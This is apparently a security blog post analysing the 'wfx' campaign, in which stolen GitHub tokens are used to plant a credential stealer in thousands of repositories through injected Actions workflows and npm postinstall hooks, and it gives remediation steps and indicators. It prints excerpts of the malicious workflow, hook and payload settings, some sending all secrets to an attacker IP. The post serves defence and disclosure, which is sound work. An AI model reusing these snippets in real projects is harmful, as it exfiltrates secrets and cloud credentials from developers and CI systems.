---
title: "wfx: GitHub Actions Credential Stealer Hits 8,000 Repos"
description: "Since November 10, 2026, an attacker has used stolen GitHub tokens to push a credential stealer into more than 8,000 repositories. It runs once in GitHub Actions or on npm install, sends secrets and cloud credentials to the attacker, and leaves cloud backdoors. Then the attacker reverts the commit."
url: "https://safedep.io/blog/github-actions-wfx-credential-stealer"
author: "Kunal Singh"
published: "2026-11-12"
---

# wfx: GitHub Actions Credential Stealer Hits 8,000 Repos

An attacker is using stolen GitHub tokens to push a credential stealer into other people's repositories. The stealer runs once, in GitHub Actions or on `npm install`, and sends the repository's secrets and cloud credentials to the attacker. It also tries to leave backdoors in AWS and Azure that survive a secret rotation. In almost all repositories the attacker then reverts the commit, so the branch looks clean.

Aikido Security [first reported the campaign](https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories).

Between November 10, 2026 at 12:46 UTC and November 12 at 04:36 UTC, **8,093 repositories** received malicious commits. The campaign was still active when that search ran. Two package registries serve the payload: Packagist in `digitalelvis/neuronai-studio` v3.14.3, and the Go module proxy in the latest version of `github.com/vkuznet/gocurl`. The name **wfx** comes from the prefix the payload puts on its files, branches and cloud objects. If your repository is in the [list below](#affected-repositories), rotate every secret it can read and [check your cloud accounts for backdoors](#check-for-cloud-backdoors).

## How the attack works

![Flow diagram. The attacker uses a stolen GitHub token to push as the victim, then opens a probe pull request from branch wfx-docs to test write access. The attacker plants the stealer with one of three methods: a new build-audit workflow, an injection into an existing workflow, or a .ci script run by an npm postinstall hook. The credential stealer runs and takes secrets, memory, files and cloud access through OIDC, sends the data to HTTP servers and a Telegram chat, and the attacker reverts the commit with ci: restore and ci: cleanup.](https://safedep.io/_next/static/immutable/media/github-actions-wfx-credential-stealer-flow.221oz4jdvh1di.png)

The commits are authored as real users of the repository, with their noreply email and no signature, which points to stolen tokens. In 1,343 repositories the author is an account other than the owner, such as a collaborator or a bot.

The attacker first opens a pull request titled `docs: dependency audit notes` from a branch named `wfx-docs` (for example [`iamharidasan/great-vibes-job#2`](https://github.com/iamharidasan/great-vibes-job/pull/2)). The pull request adds a small notes file and tests whether the token can write to the repository. GitHub search shows 61,879 of these pull requests in 61,734 repositories, opened from 4,833 accounts. 91% are still open. Then the attacker plants the stealer in one of three ways:

| Method | Commit message | Repos | Runs on a developer machine |
| --- | --- | --- | --- |
| New workflow file in an empty repository | `chore: add dependency audit workflow` | 16 | No |
| Code added to an existing workflow | `ci: refresh build cache` | 7,309 | No |
| npm `postinstall` hook | `chore: add ci helper` | 771 | Yes (on `npm install`) |

All three run in CI. Empty repositories have no workflow to inject into, so the attacker first pushes `chore: initial commit` and then the new workflow file. After the run, the attacker pushes `ci: restore` and `ci: cleanup` to remove the payload. In [`Panelinha-34/tech-challenge-01`](https://github.com/Panelinha-34/tech-challenge-01), the payload went in at 14:01 UTC ([`9881b5d`](https://github.com/Panelinha-34/tech-challenge-01/commit/9881b5d86ed0aef137ade83e20d5da2672bf74d0)) and came out at 14:05 ([`952a565`](https://github.com/Panelinha-34/tech-challenge-01/commit/952a565744dea9820dd2a501d02cdb28b162fc87)). A few repositories still have the live payload, including `vkuznet/gocurl`, `Kellie-Brighty/Suinicate`, and two with the `postinstall` hook still in `package.json` (`MattiaPARRINELLO/git-quest` and `alexappsco/ttra-site`).

## The malicious workflow

The workflow runs on every push. It asks for an OIDC token (`id-token: write`) and for permission to set commit statuses. The first step copies the Actions runtime tokens into the job environment, and the second passes all secrets and variables to the payload as JSON.

```yaml title=".github/workflows/build-audit-m8bnpk.yml @ 9b18a65 (lines 1-32)"
name: Dependency Audit y82c
on:
  push:
  workflow_dispatch:
permissions:
  contents: read
  actions: read
  id-token: write
  statuses: write
jobs:
  audit_base:
    runs-on: ubuntu-latest
    steps:
      - name: Pass runtime
        uses: actions/github-script@v7
        with:
          script: |
            const fs = require('fs');
            const ev = process.env;
            const keys = ['ACTIONS_RUNTIME_TOKEN','ACTIONS_RUNTIME_URL','ACTIONS_CACHE_URL','ACTIONS_RESULTS_URL'];
            const lines = keys.filter(k => ev[k]).map(k => k + '=' + ev[k]);
            if (lines.length) fs.appendFileSync(ev.GITHUB_ENV, lines.join('\n') + '\n');
      - name: Run audit
        env:
          WF_SECRETS: "${{ toJSON(secrets) }}"
          WF_VARS: "${{ toJSON(vars) }}"
          WF_REPO: "${{ github.repository }}"
          WF_REF: "main"
          WF_ENV: ""
          WF_CALLBACK: "http://194.150.166.244:8080/exfil"
          WF_CALLBACK2: ""
          WF_CTOKEN: "b42d70a7aab9140ca19e8249"
```

Source: [`masterpranay1/Country-Quiz-Challenge@9b18a65`](https://github.com/masterpranay1/Country-Quiz-Challenge/commit/9b18a6559b7bb92d0299a173328b4e821a114d75).

## The npm postinstall hook

The hook runs the payload on each `npm install`, whether on a CI runner or a developer's laptop.

```diff title="package.json @ 151af5f"
     "test": "vitest run",
-    "test-watch": "vitest"
+    "test-watch": "vitest",
+    "postinstall": "sh ./.ci-dwgd2n.sh >/dev/null 2>&1; _r=$?; if [ \"$_r\" -eq 42 ]; then exit 42; fi"
   },
```

## What the payload steals

All three methods run the same script. It collects:

- **GitHub secrets:** all repository secrets and variables, `GITHUB_TOKEN` and the Actions runtime tokens.
- **Tokens in memory:** it scans the runner's process memory and environment for GitHub, AWS, OpenAI, Anthropic and other API keys.
- **Credential files:** cloud CLI configs, `~/.ssh`, `~/.gnupg`, registry tokens, kubeconfig, shell history, crypto wallets and AI tool configs.
- **Secrets in the repository:** files such as `.env`, `*.tfvars` and `*.tfstate`.
- **Cloud access:** it requests GitHub OIDC tokens for AWS, Azure and GCP and tries to use them, even when the repository has no cloud setup. It also replays the OIDC token against HashiCorp Vault and Kubernetes APIs.

It sends the data by HTTP POST to port 8080 on `194.150.166[.]244`, `18.143.168[.]96` or `153.75.82[.]159`, or to a Telegram chat. In a sample of 200 payload commits, about half used the first server and a fifth used Telegram only. The code can also hide stolen data in Actions caches, artifacts and job summaries, but every sample analyzed had this switched off.

## Backdoors that outlast the run

- **AWS:** it creates new access keys and edits role trust policies. Its sessions are named `wfx-<pid>`.
- **Azure:** it adds a federated credential named `wfx-ci-<n>` to Entra app registrations. Any workflow on the repository's `main` branch can then log in to Azure as that app, even after you rotate client secrets.

The payload also has code to mark required status checks as passing, but no sample analyzed switched it on.

## Package impact

Two published versions carry the full payload. A normal `composer require` or `go get` does not run it in either case.

| Package | Version | Runs on a normal install | Payload ran |
| --- | --- | --- | --- |
| `digitalelvis/neuronai-studio` (Packagist) | `v3.14.3` | No | No evidence (release run checked out a commit without the hook) |
| `github.com/vkuznet/gocurl` (Go) | `v0.0.0-20261111095532-8d5aad0cb0da` | No | No (0 workflow runs) |

### neuronai-studio v3.14.3 on Packagist

The repository has a release workflow that runs `npm ci` and `release-it` on every push to `main`. The attacker's push started it, but the payload did not run there:

| Time (UTC, November 11) | Event |
| --- | --- |
| 12:28:41 | [`79de591`](https://github.com/digitalelvis/neuronai-studio/commit/79de5914da3c8c9efb2dabc00981dca3789b9490) adds `.ci-e5infq.sh`. The push starts the release workflow on this commit. |
| 12:28:42 | [`09470b5`](https://github.com/digitalelvis/neuronai-studio/commit/09470b56ad77dbd0609b0d00a35e4bc058bd2046) adds the `postinstall` hook. |
| 12:29:04 | The release run fails at its push step, because `main` has moved on. It checked out `79de591`, which has no hook, so its `npm ci` did not run the payload. |
| 12:29:20 | [`45da53a`](https://github.com/digitalelvis/neuronai-studio/commit/45da53a47e53507fb85f23f157e7867e06630e7b) is created on top of `09470b5` and tagged `v3.14.3`. No Actions run produced it. The `digitalelvis` account pushed it at 12:29:22, and Packagist picked it up. |
| 12:29:30 | The attacker reverts with [`db6f527`](https://github.com/digitalelvis/neuronai-studio/commit/db6f52748c8f1252617f7dbc52e2846708d766fb) and [`3576bf5`](https://github.com/digitalelvis/neuronai-studio/commit/3576bf5aa62a1396ee8dde7a87fa94a46fce77cb). The tag has already shipped. |

The release commit uses the `github-actions[bot]` identity that the workflow sets, but it came from outside GitHub Actions. The data does not show who ran it, the owner or the attacker. The same account also has a `ci-check-2830` branch from October 20, a pattern Aikido links to an earlier wave of attacks.

The payload's header shows its settings for this repository:

```sh title=".ci-e5infq.sh @ 45da53a (lines 2-21)"
export WF_REPO='digitalelvis/neuronai-studio'
export WF_REF='main'
export WF_ENV='script'
export WF_CALLBACK='http://194.150.166.244:8080/exfil'
export WF_CALLBACK2=''
export WF_CTOKEN='b42d70a7aab9140ca19e8249'
export WF_CHUNK='8388608'
export WF_MAXFILES='111'
export WF_MAXSIZE='524288'
export WF_TARBALL='1'
export WF_HISTORY='1'
export WF_MEMSCAN='1'
export WF_GCP='1'
export WF_EXFIL_CACHE='1'
export WF_EXFIL_SUM='1'
export WF_EXFIL_ART='1'
export WF_EXFIL_LOG='0'
export WF_PRIVATE='0'
export WF_FALLBACK='0'
export WF_KEY=''
```

`WF_MEMSCAN='1'` turns on the memory scan. The cache, summary and artifact channels only run when `WF_PRIVATE` is `1`, so the data leaves by HTTP POST to `194.150.166[.]244` alone.

The release changes no PHP code. It adds `.ci-e5infq.sh` (1,493 lines) and the hook in `package.json`. That file is `private` and never reached npm.

| What you run | Payload runs |
| --- | --- |
| `composer require` or `composer install` | No (Composer does not run npm hooks) |
| `npm install` or `npm ci` inside `vendor/digitalelvis/neuronai-studio` | Yes |

Block v3.14.3 and pin v3.14.2 or earlier. Packagist still serves v3.14.3 as the latest version.

### gocurl on the Go module proxy

`gocurl` has no tags, so `go get ...@latest` resolves to the newest commit. That commit is the attacker's [`8d5aad0`](https://github.com/vkuznet/gocurl/commit/8d5aad0cb0dad110ef70ddfc7455117fed6e8bc4), and the Go proxy now caches it for good. The commit adds 1,508 lines to `.github/workflows/build.yml` and touches no Go code.

The attacker left the workflow trigger alone. It only fires on a version tag:

```yaml title=".github/workflows/build.yml @ 8d5aad0 (lines 1-8)"
permissions:
  statuses: write
name: Build

on:
  push:
    tags:
      - '*.*.*'
```

The push carried no tag, and the repository has zero Actions runs, so the payload never ran. The attacker also never reverted this commit. `go get`, `go build` and `go mod download` do not run workflow files. The payload runs only when someone pushes an `x.y.z` tag on this commit, in the original repository or in a fork with Actions on. The owner should remove the injected steps before the next release. Consumers should block this pseudo-version.

A scan of 218 npm, Go and Packagist packages whose source repositories received malicious commits found no other published version with the payload. PyPI and other registries were not checked.

The payload reached 28 WebdriverIO repositories through commits authored as the bot account `wdio-bot`. No package release was affected. Anyone who ran `npm install` on those commits still ran the payload, so treat the `wdio-bot` token as stolen.

## Affected repositories

Search the table for your organization or user name. Each row links to one malicious commit and names its commit author.

[wfx: affected repositories](https://safedep.io/data/blogs/wfx-github-actions-affected-repositories.csv)

The list comes from GitHub search, which only covers the default branch of public repositories. Private repositories and other branches are missing, so the true total is higher. Repositories that only got the probe pull request are not in the list either. All 76 sampled commits from the list, across the three methods, contained the payload.

## If your repository is in the list

A probe pull request on its own means the account is compromised, even if no payload commit followed.

1. Revoke the commit author's tokens, OAuth app grants, SSH keys and sessions, and turn on 2FA. That account is the likely entry point.
2. Rotate every secret and variable the repository can read, including environment and organization secrets. Rotate any key the runner could reach.
3. Delete the `wfx-docs` branch and close the probe pull request.
4. Pull any package version built between the malicious commit and the `ci: cleanup` commit. Publish again from a clean commit.
5. If someone ran `npm install` on an affected commit, treat that machine as compromised and rotate its keys.

### Check for cloud backdoors

- **Entra ID:** federated credentials named `wfx-ci-*` that you did not create.
- **AWS CloudTrail:** `AssumeRoleWithWebIdentity` or `AssumeRole` with session name `wfx-*`, then `CreateAccessKey` or `UpdateAssumeRolePolicy` from those sessions.
- **GCP:** `GenerateAccessToken` and `SignJwt` calls from your GitHub workload identity pool.
- **Vault:** JWT logins from the GitHub OIDC issuer.

## Indicators of compromise

[IoC: wfx campaign](https://safedep.io/data/blogs/wfx-github-actions-iocs.csv)

The analysis covers four payload samples: [`masterpranay1/Country-Quiz-Challenge@9b18a65`](https://github.com/masterpranay1/Country-Quiz-Challenge/commit/9b18a6559b7bb92d0299a173328b4e821a114d75), [`fbt0wizard/select-wizard@f704070`](https://github.com/fbt0wizard/select-wizard/commit/f704070b07c1b19fc266fe4f1d760f56f1cda082), [`Panelinha-34/tech-challenge-01@9881b5d`](https://github.com/Panelinha-34/tech-challenge-01/commit/9881b5d86ed0aef137ade83e20d5da2672bf74d0) and [`chrisvillegas/docs-a2vvrm@8fea35f`](https://github.com/chrisvillegas/docs-a2vvrm/commit/8fea35fc75cc2274a7e15196ce34d10d0909da4b). The branch patterns `chore/[a-z0-9]{8}` and `ci-check-[0-9]{4}` come from an outside report and do not appear in these samples.

## Related reading

- [Megalodon: Mass GitHub Repo Backdooring via CI Workflows](https://safedep.io/blog/megalodon-mass-github-repo-backdooring-ci-workflows), an earlier campaign that also replaced workflows to steal secrets.
- [prt-scan GitHub Actions exfiltration campaign](https://safedep.io/blog/prt-scan-github-actions-exfiltration-campaign), which used pull requests to steal CI credentials.
- [nx Build System Compromise](https://safedep.io/blog/nx-build-system-compromise), where a `postinstall` hook stole developer credentials.
